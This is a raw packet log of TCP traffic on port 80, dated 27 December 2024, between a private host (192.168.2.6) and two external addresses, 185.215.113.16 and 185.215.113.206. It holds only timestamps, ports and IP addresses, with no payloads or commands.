Dec 27, 2024 08:50:58.742383003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.780445099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.780462980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.780491114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.780504942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.780508041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.780530930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.780723095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.780761957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.780777931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.780793905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.780837059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.781193972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.781250000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.781264067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.781301975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.781337976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.781367064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.782049894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.782074928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.782094002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.782129049 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.782167912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.782320023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.782792091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.782835007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.782849073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.782882929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.782922983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.782952070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.783548117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.783601999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.783612967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.783643007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.783688068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.783718109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.784339905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.784399986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.784415007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.784463882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.784481049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.784629107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.785137892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.785197973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.785207987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.785238981 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.785300016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.785336018 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.785967112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.786024094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.786037922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.786073923 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.786134005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.786190033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.786705017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.786767960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.786782980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.786822081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.786865950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.786951065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.787492037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.787552118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.787563086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.787585974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.787640095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.787677050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.788299084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.788341045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.788352013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.788381100 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.788441896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.788623095 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.789082050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.789136887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.789150000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.789171934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.789237976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.789336920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.789868116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.789906025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.789920092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.789948940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.790014982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.790054083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.790643930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.790714979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.790724993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.790745020 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.790801048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.790852070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.791445971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.791508913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.791520119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.791589022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.791590929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.791630983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.792262077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.792295933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.792309999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.792351007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.792367935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.792428970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.839445114 CET	80	49783	185.215.113.206	192.168.2.6
Dec 27, 2024 08:50:58.839515924 CET	49783	80	192.168.2.6	185.215.113.206
Dec 27, 2024 08:50:58.842928886 CET	49783	80	192.168.2.6	185.215.113.206
Dec 27, 2024 08:50:58.878334999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.878422022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.878432035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.878459930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.878474951 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.878475904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.878525019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.878582954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.878622055 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.879178047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.879268885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.879350901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.885545969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.885584116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.885606050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.885622978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.885684013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.885729074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.885974884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.886020899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.886033058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.886075020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.886079073 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.886117935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.886708975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.886733055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.886746883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.886786938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.886847019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.886915922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.887505054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.887578011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.887629986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.940363884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.940381050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.940402031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.940424919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.940433979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.940481901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.940674067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.940752983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.940763950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.940798044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.941198111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.941245079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.941250086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.941255093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.941293955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.941317081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.941994905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.942037106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.942073107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.942087889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.942116976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.942126036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.942781925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.942831039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.942836046 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.942842007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.942905903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.942914963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.943550110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.943602085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.943630934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.962558031 CET	80	49783	185.215.113.206	192.168.2.6
Dec 27, 2024 08:50:58.981616020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.981658936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.981672049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.981683969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.981713057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.981729984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.982018948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.982076883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.982090950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.982112885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.982156992 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.982542038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.982614994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.982657909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.982673883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.982722044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.982753038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.983272076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.983334064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.983346939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.983372927 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.983405113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.983522892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.984157085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.984168053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.984189034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.984226942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.984231949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.984262943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.984860897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.984905005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.984920025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.984955072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.984998941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.985037088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.985636950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.985687971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.985702038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.985744953 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.985776901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.985946894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.986437082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.986488104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.986500978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.986521959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.986587048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.986627102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.987225056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.987284899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.987294912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.987332106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.987354994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.987418890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.988071918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.988096952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.988111019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.988142014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.988204956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.988358021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.988805056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.988852024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.988864899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.988900900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.988951921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.989032030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.989586115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.989639044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.989654064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.989691019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.989759922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.989804029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.990380049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.990420103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.990433931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.990474939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.990530014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.990652084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.991271019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.991344929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.991359949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.991401911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.991417885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.991455078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.991960049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.992012024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.992022038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.992053986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.992096901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.992167950 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.992820024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.992865086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.992876053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.992897987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.992907047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.992929935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.993572950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.993585110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.993603945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.993642092 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:58.993662119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:58.993860960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.079838037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.079895020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.079914093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.079930067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.079957008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.079993010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.080092907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.080131054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.080142975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.080168009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.080172062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.080210924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.087331057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.087385893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.087403059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.087438107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.087487936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.087547064 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.087755919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.087829113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.087840080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.087865114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.087909937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.087970972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.088566065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.088618040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.088633060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.088666916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.088675022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.088711023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.089365959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.089422941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.089584112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.141900063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.141927004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.141941071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.141959906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.141982079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.142124891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.142144918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.142200947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.142210960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.142241001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.142273903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.142457008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.142931938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.142973900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.142985106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.143018007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.143054008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.143095016 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.143711090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.143769026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.143781900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.143819094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.143908024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.143945932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.144506931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.144541025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.144551992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.144593954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.144634008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.144682884 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.183176041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.183240891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.183263063 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.183284998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.183310986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.183361053 CET	49752	80	192.168.2.6	185.215.113.16
